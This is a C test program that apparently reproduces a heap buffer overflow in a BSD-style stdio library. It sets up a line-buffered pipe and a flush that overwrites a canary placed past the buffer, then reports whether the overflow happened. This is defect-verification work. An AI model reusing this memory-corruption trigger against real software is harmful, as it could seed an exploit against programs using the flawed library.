#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <limits.h>
#include <stdlib.h>
#include <stddef.h>

#define WRITE_BUF_SZ (PIPE_BUF*4)

struct victim {
    char linebuf[PIPE_BUF*2-2];
    char canary[PIPE_BUF*2];
};

static int debug = 0;

static int mywrite(FILE *fp, const void *data, size_t datalen)
{
    int rc = fwrite(data, 1, datalen, fp);
    if (debug) {
        printf("rc from fwrite(%zu): %d\n", datalen, rc);
    }
    return rc;
}

static int myread(FILE *fp, void *data, size_t datalen)
{
    int rc = fread(data, 1, datalen, fp);
    if (debug) {
	printf("rc from fread(%zu): %d\n", datalen, rc);
    }
    return rc;
}

static int myflush(FILE *fp)
{
    int rc = fflush(fp);
    if (debug) {
	printf("rc from fflush: %d\n", rc);
    }
    return rc;
}

static int test(void)
{
    int fail = 1;
    int rc;
    int pipefds[2] = { -1, -1 };
    FILE *wr = NULL;
    FILE *rd = NULL;
    struct victim *victim = NULL;
    unsigned char *writebuf = NULL;
    unsigned char readbuf[1];
    size_t i;

    debug = 0;

    victim = calloc(1, sizeof(struct victim));
    if (!victim) {
	perror("calloc victim");
	goto done;
    }
    if (sizeof(victim->linebuf) <= PIPE_BUF) {
	printf("victim->linebuf must at least hold PIPE_BUF+1 bytes.");
	goto done;
    }

    writebuf = calloc(1, WRITE_BUF_SZ);
    if (!writebuf) {
	perror("calloc writebuf");
	goto done;
    }

    rc = pipe2(pipefds, O_NONBLOCK);
    if (rc != 0) {
	perror("pipe2");
	goto done;
    }
    wr = fdopen(pipefds[1], "w");
    if (wr == NULL) {
	perror("fdopen wr");
	goto done;
    }
    rd = fdopen(pipefds[0], "r");
    if (rd == NULL) {
	perror("fdopen rd");
	goto done;
    }
    if (setvbuf(wr, victim->linebuf, _IOLBF, sizeof(victim->linebuf)) != 0) {
	perror("setvbuf wr");
	goto done;
    }
    if (setvbuf(rd, NULL, _IONBF, 0) != 0) {
	perror("setvbuf rd");
	goto done;
    }
    for (i = 0; i < WRITE_BUF_SZ; i++) {
	writebuf[i] = (unsigned char) (0x21 + (i & 0x3f));
    }

    /* Fill up pipe, so it's possible to provoke write failures later */
    while (PIPE_BUF == (rc = mywrite(wr, writebuf, PIPE_BUF))) {
	rc = myflush(wr);
	if (rc != 0) {
	    rc = 0;
	    break;
	}
    }

    debug = 1;

    /* Read one byte, to make it possible to write one byte later */
    rc = myread(rd, readbuf, 1);
    if (rc != 1) {
	printf("Expected to read 1 byte\n");
	goto done;
    }

    /* The following writes positions the FILE's internal
     * write pointer at the end of victim->linebuf.
     */
    rc = mywrite(wr, writebuf, 1);
    if (rc != 1) {
	printf("Expected to write 1 byte\n");
	goto done;
    }

    for(i = sizeof(victim->linebuf)-1; i; ) {
	size_t writen = i > WRITE_BUF_SZ ? WRITE_BUF_SZ : i;
	rc = mywrite(wr, writebuf, writen);
	if (rc != writen) {
	    printf("Expected to write %zu bytes\n", writen);
	    goto done;
	}
	i -= rc;
    }

    /* The following flush (or any write operation would do)
     * on the FILE wr is the trigger of the defect. For fully
     * buffered FILEs, the flush increases the internal write
     * pointer and decreases the remaining write space with
     * the same amount. For line-buffered FILEs, the flush only
     * increases the internal pointer, thinking it has (almost)
     * the entire buffer left to write to.
     *
     * See function __sflush in fflush.c:
     *   memmove(fp->_p, p, n);
     *   fp->_p += n;
     *   if ((fp->_flags & (__SLBF | __SNBF)) == 0)
     *     fp->_w -= n;
     */
    myflush(wr);

    /* Position the internal file pointer at the canary */
    i = offsetof(struct victim, canary) - (offsetof(struct victim, linebuf) + sizeof(victim->linebuf) - 1);
    if (i > WRITE_BUF_SZ) {
	printf("Expected canary to be closer to the line buffer");
	goto done;
    }
    rc = mywrite(wr, writebuf, i);
    if (rc != i) {
	printf("Expected to write %i bytes\n", rc);
	goto done;
    }

    victim->canary[0] = 0;
    victim->canary[1] = 0;
    victim->canary[2] = 0;
    victim->canary[3] = 0;
    rc = mywrite(wr, "aAbB", 4);

    fail = 0;

    if (victim->canary[0] == 0 && victim->canary[1] == 0 && victim->canary[2] == 0 && victim->canary[3] == 0) {
	printf("Congratulations, buffer overflow failed\n");
	goto done;
    }

    printf("Canary overwritten: %d %d %d %d\n", victim->canary[0], victim->canary[1], victim->canary[2], victim->canary[3]);

done:
    if (wr != NULL) {
	fclose(wr);
	wr = NULL;
    }
    else if (pipefds[1] >= 0) {
	close(pipefds[1]);
	pipefds[1] = -1;
    }

    if (rd != NULL) {
	fclose(rd);
	rd = NULL;
    }
    else if (pipefds[0] >= 0) {
	close(pipefds[0]);
	pipefds[0] = -1;
    }

    if (writebuf != NULL) {
	free(writebuf);
	writebuf = NULL;
    }

    if (victim != NULL) {
	free(victim);
	victim = NULL;
    }
    return fail;
}

int main(int argc, char *argv[])
{
    return test();
}